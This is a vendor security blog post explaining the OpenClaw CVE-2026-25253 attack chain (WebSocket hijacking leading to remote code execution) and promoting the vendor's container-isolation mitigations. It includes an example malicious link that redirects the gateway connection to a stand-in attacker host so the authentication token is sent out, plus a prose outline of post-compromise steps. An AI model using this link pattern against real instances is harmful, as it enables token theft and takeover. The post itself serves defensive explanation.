Security

CVE-2026-25253 Explained: How a Single Click Can Compromise Your OpenClaw Instance

A deep technical analysis of the critical OpenClaw RCE vulnerability, how the WebSocket hijacking attack chain works, and why managed AI infrastructure prevents this class of exploit entirely.

Bradley Taylor ·
security ai
Updated February 20, 2026

Update (2026-02-20): CVE-2026-25253 was patched in OpenClaw v2026.1.29 (January 29, 2026), which added WebSocket origin validation and a gateway URL confirmation modal. Gateway authentication is now mandatory in all OpenClaw versions since v2026.1.29. Alpha Agent’s structural mitigations (zero inbound gateway ports, Nginx-controlled routing, no user-facing gateway URL) remain active as defense-in-depth layers regardless of the upstream fix. Self-hosted operators should update to at least v2026.2.12.

On February 14, 2026, security researchers at DepthFirst published a detailed writeup of CVE-2026-25253, a critical vulnerability in OpenClaw that enables one-click remote code execution against any reachable instance. The flaw carries a CVSS score of 8.8 and has been confirmed exploitable even on localhost-only deployments. The Hacker News reported that RunZero’s Censys scan identified 21,639 OpenClaw instances exposed to the public internet, each one a potential target — part of a much larger problem we documented in 135,000 exposed instances.

This post walks through the vulnerability in full technical detail, explains the underlying WebSocket security model it defeats, and describes exactly how Alpha Agent’s container isolation architecture prevents this class of exploit from being viable.

The attack chain, step by step

CVE-2026-25253 is not a simple buffer overflow or injection bug. It is a multi-stage attack chain that leverages a design flaw in how OpenClaw’s gateway accepts client connections. Understanding it requires following the full sequence from the attacker’s perspective.

The OpenClaw web dashboard accepts a gatewayUrl query parameter that tells the frontend which gateway server to connect to. This parameter exists to support flexible deployment topologies where the dashboard and gateway might live on different hosts. The critical flaw: the dashboard accepts any value for gatewayUrl without validation.

An attacker constructs a URL like:

https://victim.example.com/?gatewayUrl=wss://attacker.example.com/ws

When the victim clicks this link, their browser loads the legitimate OpenClaw dashboard but points its WebSocket connection at the attacker’s server instead of the real gateway.

Stage 2: Token exfiltration via WebSocket misdirection

OpenClaw’s dashboard authenticates to the gateway by sending an authentication token over the WebSocket connection during the handshake. This is standard practice for WebSocket-based protocols where cookies and HTTP headers are insufficient for ongoing bidirectional communication.

When the victim’s browser connects to the attacker’s WebSocket server, it sends the authentication token — the same token that grants full administrative control over the OpenClaw gateway — directly to the attacker. The attacker now possesses a valid session token without ever touching the victim’s machine.

This works because the browser has no reason to distrust the connection. The page origin is the legitimate OpenClaw domain. The WebSocket URL was provided as a parameter. The browser dutifully opens the connection and transmits the credentials.

Stage 3: Cross-Site WebSocket Hijacking (CSWSH)

With the stolen token, the attacker establishes their own WebSocket connection to the victim’s real gateway. This is where the attack becomes a textbook case of Cross-Site WebSocket Hijacking.

Standard HTTP endpoints are protected by CORS (Cross-Origin Resource Sharing), which restricts which domains can make requests. WebSocket connections, however, are not subject to CORS. The WebSocket protocol defines an Origin header that servers can check during the upgrade handshake, but this check is optional. OpenClaw’s gateway does not validate the Origin header on incoming WebSocket connections.

The implications are severe. Any webpage, running in any browser tab, can open a WebSocket connection to a locally running OpenClaw gateway on ws://localhost:18789. If the gateway does not check the Origin header, it accepts the connection. If the attacker already has the authentication token from Stage 2, they now have full authenticated access to the gateway from their own infrastructure.

Stage 4: Sandbox bypass and code execution

OpenClaw’s gateway exposes RPC methods that control the assistant’s behavior, including the ability to enable or disable safety features. With an authenticated WebSocket session, the attacker can:

  1. Disable sandbox restrictions via the gateway’s configuration RPC
  2. Execute arbitrary commands through the assistant’s skill execution engine
  3. Read files, environment variables, and credentials from the host filesystem
  4. Install persistent backdoors or exfiltrate data

The DepthFirst writeup demonstrated extracting API keys, conversation history, and user memory from a compromised instance in under 30 seconds after the victim clicked the malicious link.

Does binding to localhost prevent CVE-2026-25253?

A common misconception is that binding the gateway to 127.0.0.1 prevents remote exploitation. It does not. The victim’s own browser is the attack vector. When the victim clicks the attacker’s link, the browser — running on the same machine as the gateway — initiates the outbound WebSocket connection. From the gateway’s perspective, the connection originates from localhost. Network-level restrictions are irrelevant because the attacker never connects directly to the victim’s machine.

This is the same class of attack that has historically affected development tools, database GUIs, and local API servers. If a service listens on localhost and does not validate the origin of WebSocket upgrade requests, any webpage the user visits can interact with that service. For a full breakdown of why localhost binding is insufficient compared to proper isolation, see our container isolation vs localhost comparison.

The DepthFirst disclosure included two additional CVEs that compound the severity:

CVE-2026-24763 is a command injection vulnerability in the gateway’s tool execution pipeline. User-supplied input is passed to a shell command without proper sanitization, enabling injection of arbitrary commands via crafted tool parameters.

CVE-2026-25157 is a separate command injection vector in the plugin installation flow. An attacker who can invoke the plugin manager (possible once they have gateway access via CVE-2026-25253) can execute arbitrary code during the install process.

Together, these three vulnerabilities create a complete attack surface: gain access via WebSocket hijacking, escalate via command injection, and persist via arbitrary code execution.

The WebSocket security model and why it fails here

To understand why this vulnerability is so effective, it helps to understand the security model that WebSocket connections rely on.

When a browser opens a WebSocket connection, it sends an HTTP upgrade request that includes the Origin header, indicating the page that initiated the connection. The server is expected to validate this header and reject connections from untrusted origins. This is the only browser-enforced security boundary for WebSocket connections. Unlike XMLHttpRequest and fetch(), WebSocket connections are not subject to CORS preflight checks. The browser will happily open a WebSocket to any host, on any port, from any page.

The defense is entirely server-side. The gateway must:

  1. Check the Origin header against an allowlist of trusted domains
  2. Reject upgrade requests from unknown origins
  3. Require authentication tokens to be transmitted through a secure side channel, not over the WebSocket itself

OpenClaw’s gateway does none of these. It accepts connections from any origin, accepts authentication tokens directly over the WebSocket, and trusts that the client connecting is the legitimate dashboard. CVE-2026-25253 exploits every one of these omissions.

How Alpha Agent prevents this class of exploit

Alpha Agent is built on OpenClaw, so we take these vulnerabilities seriously. However, the architecture we use to host user instances prevents CVE-2026-25253 and its companion CVEs from being exploitable. This is not a single patch or configuration change — it is a structural property of our deployment model.

Gateway ports are never exposed to the internet

Each Alpha Agent user runs in an isolated Docker container. The container’s gateway port (18789) is bound to 127.0.0.1 on the host, and the host has zero inbound ports — no SSH, no HTTP, no direct access of any kind. The only path to the container is through the ALB, through Nginx, through the authenticated dashboard.

From the docker-compose template:

ports:
  - "127.0.0.1:${GATEWAY_PORT}:18789"

The gateway port is bound to the host’s loopback interface. It is not reachable from the ALB, from other containers, or from the internet. There is no URL an attacker can construct that routes to the gateway port, because Nginx does not proxy to it on the dashboard subdomain.

Nginx controls all WebSocket routing

Nginx is the single entry point for all traffic reaching a user’s container. The dashboard server block proxies to the dashboard port only. The gateway is accessible only through app subdomains ({app}.{slug}.alphaagent.app), which require a separate DNS record and routing rule.

Crucially, Nginx sets the Host and X-Forwarded-For headers on proxied requests, and the server_name directive uses strict regex matching against alphaagent.app subdomains. An attacker cannot redirect the WebSocket connection to an external server because the browser’s connection is to the Alpha Agent domain, and the Nginx proxy resolves the backend based on the subdomain — not on a user-supplied parameter.

Users never interact with raw gateway URLs

The gatewayUrl parameter that enables CVE-2026-25253 exists because self-hosted OpenClaw deployments need to tell the dashboard where the gateway lives. In Alpha Agent, this configuration is handled server-side. The dashboard server injects the correct gateway URL during page rendering, and the value is derived from the container’s environment — not from query parameters.

Users never see, modify, or need to know their gateway URL. There is no parameter to hijack.

Secrets are not browser-accessible

Even in a hypothetical scenario where an attacker could reach the gateway, the most valuable targets — API keys, channel tokens, and OAuth credentials — are not stored in the gateway’s process memory or environment variables at runtime. User secrets are encrypted with AWS KMS and stored in DynamoDB. They are decrypted only when needed by the dashboard server, and never transmitted to the browser.

The container itself runs on a read-only filesystem with no-new-privileges security options. Even if code execution were achieved inside the container, the attacker would find an immutable filesystem, no writable directories except /tmp (a size-limited tmpfs), no access to the instance metadata service (IMDS is blocked via iptables), and no network path to other containers.

Network isolation between containers

Each container runs in its own Docker network (oc-{slug}-net with the bridge driver). There is no shared network between containers. A compromised container cannot reach adjacent containers, cannot scan the host network, and cannot access AWS services (IMDS is blocked). Lateral movement is not possible.

What self-hosted users should do

If you are running a self-hosted OpenClaw instance, take the following steps immediately:

  1. Update to the latest OpenClaw release that patches CVE-2026-25253, CVE-2026-24763, and CVE-2026-25157
  2. Do not expose the gateway port to any network other than loopback
  3. Place Nginx or a reverse proxy in front of the gateway with origin validation
  4. Disable the gatewayUrl query parameter by setting the gateway URL server-side
  5. Review your firewall rules — binding to localhost alone is not sufficient if your users access the dashboard from the same machine

If you are running on Alpha Agent, no action is required. The vulnerability is structurally mitigated by the architecture described above.

Defense in depth is not optional

CVE-2026-25253 is a reminder that security assumptions compound. “It’s on localhost” is an assumption. “Only my browser connects” is an assumption. “The gateway checks the origin” is an assumption. When all three are wrong simultaneously, you get one-click RCE. This is why zero trust architecture — where no component is implicitly trusted — is the right model for AI agent deployments.

Alpha Agent’s security model does not rely on any single assumption. Containers provide process isolation. Read-only filesystems prevent persistence. Network isolation prevents lateral movement. KMS encryption protects secrets at rest. Nginx enforces routing and origin policies. Zero inbound ports eliminate the attack surface. Each layer is independent, and each layer would need to fail for a vulnerability like CVE-2026-25253 to have any impact.

This is why managed infrastructure matters. Not because self-hosting is inherently insecure, but because maintaining defense in depth across every layer — network, runtime, storage, authentication, and monitoring — is a full-time job. We do that job so you can focus on using your AI assistant, not securing it.

Read more about our security architecture on our Security page and in our detailed post on container isolation.